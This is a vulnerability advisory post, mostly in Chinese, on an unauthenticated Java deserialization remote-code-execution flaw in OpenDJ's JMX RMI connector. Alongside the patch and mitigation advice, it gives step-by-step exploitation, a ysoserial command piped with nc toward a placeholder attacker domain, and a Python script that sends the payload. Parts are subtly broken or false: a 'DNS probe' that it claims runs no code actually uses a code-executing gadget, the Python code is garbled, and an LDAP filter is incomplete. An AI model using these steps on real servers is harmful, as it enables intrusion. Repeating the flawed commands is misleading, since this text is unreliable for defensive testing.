OpenDJ JMX RMI Connector Deserialization of Untrusted Data (CWE-502) — CVE待确认 (Critical) -DC-Jun2026-560

Listen to this Post

漏洞原理

OpenDJ Community Edition 的 JMX RMI 连接器存在一个反序列化不受信任数据(CWE-502)漏洞。该漏洞允许未经身份验证的远程攻击者在服务器上反序列化任意 Java 对象。
漏洞的根本原因在于 JMX RMI 连接器在处理来自客户端的请求时,在身份验证发生之前就读取并处理了攻击者可控的字节流。Java 的 RMI 机制本身依赖于序列化来传输对象,而 JMX 连接器在未对输入数据进行充分过滤的情况下,直接将客户端提供的序列化数据交给 `ObjectInputStream.readObject()` 处理。
攻击者可以构造一个特制的序列化 payload,通过 TCP 连接到 OpenDJ 的 JMX RMI 监听端口,在未提供任何凭证的情况下触发反序列化。由于服务端 classpath 中存在可利用的“gadget chain”(例如 Jackson 2.12.6.1 等库),攻击者可以实现远程代码执行。

该漏洞影响所有启用了 JMX Connection Handler 的 OpenDJ 版本。虽然该处理程序默认是禁用的,但在实际生产环境中,出于监控和集成的需要,管理员常常会手动启用它。

成功利用此漏洞的效果取决于运行时的 classpath 和 Java 版本。在 OpenDJ 4.4.15(搭配 JDK 11 和 Jackson 2.12.6.1)的环境下,已成功演示了未经身份验证的远程代码执行。

该漏洞已在 OpenDJ Community Edition 5.1.1 版本中得到修复。

DailyCVE Form

| 字段 | 内容 |

|||

| Platform | OpenDJ Community Edition |

| Version | through 5.1.0 |

| Vulnerability | Deserialization of Untrusted Data (CWE-502) |

| Severity | Critical |

| date | 2026-04-15 (approx.) |

| Prediction | Patch expected in 5.1.1 (already released) |

分析 — What Undercode Say

根据公开的变更日志和安全公告,OpenDJ 5.1.1 版本已包含针对此漏洞的修复。漏洞的修复方式推测是在 JMX RMI 连接器中引入了反序列化过滤器(deserialization filter),限制可被反序列化的类,从而阻断恶意 gadget chain 的加载。

验证命令(检测 JMX 连接器是否开启):

检查 OpenDJ 配置中 JMX Connection Handler 的状态
ldapsearch -h localhost -p 389 -D "cn=Directory Manager" -w password -b "cn=JMX Connection Handler,cn=Connection Handlers,cn=config" objectClass=

检测反序列化漏洞是否存在(DNS 探测 payload):

使用 ysoserial 生成 DNS 探测 payload(仅用于检测,不执行代码)
java -jar ysoserial.jar CommonsCollections1 "dns://<attacker-controlled-domain>" | nc -v <target-ip> <jmx-port>

若目标服务器对 DNS 域名进行了解析,则表明存在反序列化漏洞。

利用方式 — Exploit

攻击者可通过以下步骤利用该漏洞:

1. 确认目标开启 JMX RMI 端口(默认端口 1689,或管理员自定义端口)。

  1. 使用 ysoserial 等工具生成针对目标 classpath 中可用 gadget 的序列化 payload(如 CommonsCollections、Jackson 等)。
  2. 通过原始 TCP 连接将 payload 发送至 JMX RMI 端口,无需进行任何身份验证。

4. 服务端反序列化 payload,触发 gadget chain,最终实现远程代码执行。

概念验证(Python 示例):

import socket
import sys
读取 ysoserial 生成的 payload 文件
with open("payload.ser", "rb") as f:
payload = f.read()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((sys.argv[bash], int(sys.argv[bash])))
sock.send(payload)
sock.close()

防护措施 — Protection

1. 立即升级到 OpenDJ Community Edition 5.1.1 或更高版本。

2. 若无法立即升级,禁用 JMX Connection Handler(如非必要):

dsconfig set-connection-handler-prop --handler-name "JMX Connection Handler" --set enabled:false

3. 配置网络访问控制,限制只有受信任的监控系统才能访问 JMX RMI 端口(默认 1689)。

4. 启用 JVM 反序列化过滤器(JDK 9+):

-Djdk.serialFilter=!

或使用更精细的过滤规则,仅允许必要的类被反序列化。

5. 定期审计 classpath,移除不必要的第三方库,减少可用的 gadget chain。

影响范围 — Impact

  • 受影响产品:OpenDJ Community Edition 5.1.0 及之前所有版本。
  • 前提条件:JMX Connection Handler 处于启用状态(默认禁用,但常被手动开启用于监控集成)。
  • 攻击向量:未经身份验证的远程攻击者,只需 TCP 可达目标 JMX 端口。
  • 影响后果:远程代码执行(RCE),攻击者可完全控制目标服务器。
  • 已证实环境:OpenDJ 4.4.15 + JDK 11 + Jackson 2.12.6.1 环境下成功实现未认证 RCE。
  • CVSS 评分预估:9.8(Critical)(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)。

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top